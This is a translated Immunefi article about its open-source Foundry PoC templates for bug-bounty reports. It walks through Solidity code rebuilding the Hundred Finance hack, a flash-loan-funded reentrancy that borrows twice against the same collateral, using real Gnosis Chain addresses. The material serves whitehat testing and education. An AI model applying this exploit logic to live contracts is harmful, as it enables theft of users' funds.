审计报告 - Immunefi PoC模板

  • Immunefi
  • 发布于 2023-03-16 10:44
  • 阅读 83

本文介绍了如何使用提供的PoC(概念验证)模板来简化和加速漏洞报告的编写过程。这些模板旨在帮助白帽黑客更轻松地创建PoC,以测试智能合约的漏洞,如重入攻击和代币操控,同时提高安全性和工作效率。文章还包括了具体的代码示例和使用指南。

介绍

一个将高级黑客与初学者区分开来的关键技能是编写概念证明(PoC)的能力。PoC 本质上是可运行的代码,它演示了智能合约的漏洞,而实际上并未在实际环境中进行利用。

但是编写 PoC 可能具有挑战性,尤其是当你不熟悉设置测试环境或支持 PoC 的基础协议的具体细节时。

这就是我们推出 PoC 模板以革新漏洞报告提交流程的原因。

使用这个 PoC 模板库,你可以利用预编写的代码块轻松快速地为你发现的任何漏洞构建 PoC,而不必从头开始。

GitHub - immunefi-team/forge-poc-templates

为什么需要这个库?

构建 PoC 是具有挑战性的,即使对于精英黑客。有时,这可能会很无聊。

此外,许多 PoC 使用类似的设计模式,这些设计模式在不同协议中常被重复,但由于成功的漏洞报告中的大多数 PoC 保持私密,其他人无法从中受益。这意味着白帽黑客必须无故从零开始编写大量代码。

我们设计的模板是一个开源的协作库,旨在使 PoC 创建更简单、更高效,甚至更愉快。使 PoC 创建更简单将使漏洞报告的创建变得更加容易,更多的漏洞报告意味着项目更安全、白帽黑客获得更多的奖金奖励。

该库提供了常见漏洞类型的预构建模板,例如重入攻击、代币余额操控、闪电贷、和预言机价格操控。这些模板整合了在不同协议中常被重复的设计模式。

这些 PoC 模板旨在适合所有技能水平,包含清晰的使用说明及定制说明。通过使用模板,白帽黑客可以节省时间并更有效地协作,最终导致更安全、更具弹性的区块链生态系统。

编写 PoC 的困难是什么?

几乎所有 Immunefi 的漏洞赏金计划都要求提供 PoC。尽管 PoC 是展示 Web3 项目中存在的漏洞具体证据的事实标准,但可重用组件的资源并不多。这导致白帽黑客针对具有相似攻击向量的漏洞重复工作。

例如,假设你正在测试一个智能合约以寻找重入漏洞。通过使用我们的重入 PoC 模板,你可以快速在主网的本地分叉环境中启动并测试你的代码。重入合约定义了一组常见的回调函数,它们都调用一个标准方法,_executeAttack

https://github.com/immunefi-team/forge-poc-templates/blob/main/src/reentrancy/Reentrancy.sol

https://github.com/immunefi-team/forge-poc-templates/blob/main/src/ReentrancyTemplate.sol

Immunefi PoC 模板 1.sol – Medium

 pragma solidity^0.8.13; 

 import"./reentrancy/Reentrancy.sol"; 

 import"forge-std/console.sol"; 

 contractReentrancyTemplateisReentrancy { 
 // 被攻击的受害者合约 
 address target; 

 constructor(addressvictim) { 
 target = victim; 
 } 

 /\*\* 
 \\* @dev 启动重入攻击。对目标合约进行任何调用,并在下面的回调函数中继续重入攻击 
 \*/ 
 function initiateAttack() external { 
 // 对目标合约进行调用 
 console.log("Initiating attack on %s", target); 

 // TODO: 在这里修改攻击以激活受害者的重入 
 // Interface(target).someFunction(); 
 } 

 function \_executeAttack() internaloverride { 
 // TODO: 在这里修改攻击 
 } 

 function \_completeAttack() internaloverride { 
 console.log("攻击者余额在 %s", address(this).balance); 

 // TODO: 在这里修改攻击后的清理逻辑 
 } 
 } 

Immunefi PoC 模板 1.sol

片段 1:重入模板

扩展重入合约允许你以标准化的方式构建攻击,从而使你更容易创建一个展示特定类别漏洞的 PoC。

可用的 PoC 模板有哪些?

以下漏洞模板为 当前可用

  • 重入
  • 代币余额操控
  • 闪电贷
  • 曲线价格操控(预言机操控)

使用重入 PoC 模板

为了更好地理解这些模板如何使用,我们将 重构 Hundred Finance 的 PoC,因为它展示了重入攻击并使用了闪电贷。

首先,我们将扩展闪电贷和重入模块,因为我们将使用闪电贷来获取所需的初始资金,并在 Hundred Finance 合约中利用重入漏洞。此外,我们将导入 Tokens 模块以便更轻松地引用 Gnosis Chain 上的 USDC 地址。

Immunefi PoC 模板 2.sol – Medium

 pragma solidity^0.8.0; 

 import"../src/flashloan/FlashLoan.sol"; 
 import"../src/reentrancy/Reentrancy.sol"; 
 import"../src/tokens/Tokens.sol"; 

 import"@openzeppelin/contracts/token/ERC20/IERC20.sol"; 

 import"forge-std/console.sol"; 

 contractHundredFinanceHackisFlashLoan, Reentrancy { } 

Immunefi PoC 模板 2.sol

片段 2:扩展闪电贷和重入模块

接下来,我们将覆盖 fallback 函数并默认为闪电贷模块处理程序,因为这将在执行攻击后偿还我们的闪电贷。

Immunefi PoC 模板 3.sol – Medium

 contractHundredFinanceHackisFlashLoan, Reentrancy { 
 fallback() externalpayableoverride(FlashLoan, Reentrancy) { 
 // 默认为闪电贷回调逻辑 
 FlashLoan.\_fallback(); 
 } 
 } 

Immunefi PoC 模板 3.sol

片段 3:覆盖默认的 fallback 函数

为了发起攻击,我们将调用 takeFlashLoan,它从指定的提供方处获取闪电贷。闪电贷模块会根据本地分叉正在运行的链引用 block.chainid 自动更改闪电贷提供方的合约地址。默认的闪电贷处理程序也将处理偿还,因此我们只需实现 _executeAttack,该函数由默认的闪电贷处理程序调用。

Immunefi PoC 模板 4.sol – Medium

 contractHundredFinanceHackisFlashLoan, Reentrancy { 
 // Gnosis Chain 上的 Hundred Finance Markets 
 IERC20constant husd =IERC20(0x243E33aa7f6787154a8E59d3C27a66db3F8818ee); 
 IERC20constant hxdai =IERC20(0x090a00A2De0EA83DEf700B5e216f87a5D4F394FE); 
 IERC20constant wxdai =IERC20(0xe91D153E0b41518A2Ce8Dd3D7944Fa863463a97d); 
 // 用于偿还闪电贷的代币兑换地址 
 ICurve constant curve =ICurve(0x7f90122BF0700F9E7e1F688fe926940E8839F353); 
 bool borrowedXdai; 
 uint256 totalFlashloaned; 

 function initiateAttack() external { 
 console.log("USDC 余额之前:", GnosisTokens.USDC.balanceOf(address(this))); 

 // 从 UniswapV2 处设置代币对和闪电贷金额 
 address\[\] memory tokens =newaddress\[\](2); 
 tokens\[0\] =address(GnosisTokens.USDC); 
 tokens\[1\] =address(wxdai); 
 uint256\[\] memory amounts =newuint256\[\](2); 
 amounts\[0\] =2117765617657; 
 amounts\[1\] =0; 

 // 从传入的提供方触发闪电贷 
 // 这将调用 \_executeAttack,它包含逻辑以确定是否在闪电贷回调中 
 takeFlashLoan(FlashLoanProviders.UNISWAPV2, tokens, amounts); 
 console.log("USDC 余额之后:", GnosisTokens.USDC.balanceOf(address(this))); 
 } 

 function \_executeAttack() internaloverride(FlashLoan, Reentrancy) { 
 if (currentFlashLoanProvider() == FlashLoanProviders.UNISWAPV2) { 
 // 检查当前的闪电贷提供方是否是 Uniswap 
 console.log("闪电贷后的 USDC 余额:", GnosisTokens.USDC.balanceOf(address(this))); 
 } 
 } 

 fallback() externalpayableoverride(FlashLoan, Reentrancy) { 
 // 默认为闪电贷回调逻辑 
 FlashLoan.\_fallback(); 
 } 
 } 

Immunefi PoC 模板 4.sol

片段 4:通过调用 takeFlashLoan 发起攻击

现在我们获得了闪电贷的资金,可以通过将借来的 USDC 存入确保并借用多个代币来对 Hundred Finance 的市场进行攻击。由于重入模块也调用 _executeAttack,所以我们可以通过检查调用我们攻击合约的函数签名 msg.sig 来确定回调的触发者。

Immunefi PoC 模板 5.sol – Medium

 contractHundredFinanceHackisFlashLoan, Reentrancy { 
 ... 
 function \_executeAttack() internaloverride(FlashLoan, Reentrancy) { 
 if (msg.sig==this.onTokenTransfer.selector) { 
 // 检查我们是否通过代币回调进入了 \_executeAttack 
 // 解码传递给代币转账回调的参数,`onTokenTransfer(address, uint256, bytes memory)` 
 (addressfrom,,) =abi.decode(msg.data\[4:\], (address, uint256, bytes)); 

 // 如果我们当前正在借用 USDC,并且尚未借用 XDAI, 
 // 重新进入不同的 Hundred Finance 市场并借用 XDAI 代币 
 if (from ==address(husd) &&!borrowedXdai) { 
 borrowedXdai =true; 
 uint256 amount = (totalFlashloaned \*1e12) \*60/100; 

 // 在同一 USDC 抵押品上借用 XDAI,因为初始借贷交易尚未完成 
 // 我们可以重用抵押品 
 ICompoundToken(address(hxdai)).borrow(amount); 
 } 
 } elseif (currentFlashLoanProvider() == FlashLoanProviders.UNISWAPV2) { 
 // 检查当前的闪电贷提供方是否是 Uniswap 
 console.log("USDC 余额闪电贷后的:", GnosisTokens.USDC.balanceOf(address(this))); 

 // 解码传递给闪电贷回调函数的参数,`uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data)` 
 (, uint256amount0, uint256amount1,) =abi.decode(msg.data\[4:\], (address, uint256, uint256, bytes)); 
 totalFlashloaned = amount0 ==0? amount1 : amount0; 

 // 将 USDC 存入 Hundred Finance 作为抵押,并获得 HUSD 
 uint256 balance = GnosisTokens.USDC.balanceOf(address(this)); 
 GnosisTokens.USDC.approve(address(husd), balance); 
 ICompoundToken(address(husd)).mint(balance); 

 // 按照我们铸造的 HUSD 抵押进行借款 
 // 这会通过 USDC 的转移触发我们合约上的代币回调 
 uint256 amount = (totalFlashloaned \*90) /100; 
 ICompoundToken(address(husd)).borrow(amount); 

 console.log("攻击者借款后的 USDC 余额: %s USDC", GnosisTokens.USDC.balanceOf(address(this))); 
 console.log("攻击者借款后的 XDAI 余额: %s XDAI", address(this).balance); 
 } 
 } 
 ... 
 } 

Immunefi PoC 模板 5.sol

片段 5:在 _executeAttack 中编写攻击体

最后,在闪电贷偿还之前调用 _completeAttack 函数,以便我们能够将盗取的 xDAI 兑换为 USDC,从而偿还我们的 USDC 闪电贷。

Immunefi PoC 模板 6.sol – Medium

 contractHundredFinanceHackisFlashLoan, Reentrancy { 
 ... 
 function \_completeAttack() internaloverride(FlashLoan, Reentrancy) { 
 // 将 XDAI 兑换为 USDC 以偿还我们的闪电贷 
 IWETH(payable(address(wxdai))).deposit{value: address(this).balance}(); 
 wxdai.approve(address(curve), wxdai.balanceOf(address(this))); 
 curve.exchange(0, 1, wxdai.balanceOf(address(this)), 1); 
 console.log("交换后攻击者 USDC 余额: %s USDC", GnosisTokens.USDC.balanceOf(address(this))); 
 console.log("交换后攻击者 XDAI 余额: %s XDAI", address(this).balance); 
 } 
 ... 
 } 

Immunefi PoC 模板 6.sol

片段 6:通过在 completeAttack 中将 XDAI 兑换为 USDC 完成攻击

完整的 PoC 可以在 这里 查看。

总结

编写 PoC 可能是一项具有挑战性的任务,但我们的 PoC 模板将帮助你。

通过提供预构建的模板和可扩展的合约,该库使白帽黑客更容易安全地处理智能合约并测试漏洞。无论你是初学者还是高级黑客,这些模板都可以帮助你节省时间和精力。

如果你想了解更多关于 PoC 和我们的指南,可以查看以下链接:

  • 原文链接: medium.com/immunefi/immu...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Immunefi
Immunefi
The leading bug bounty platform for blockchain with the world's largest bug bounties.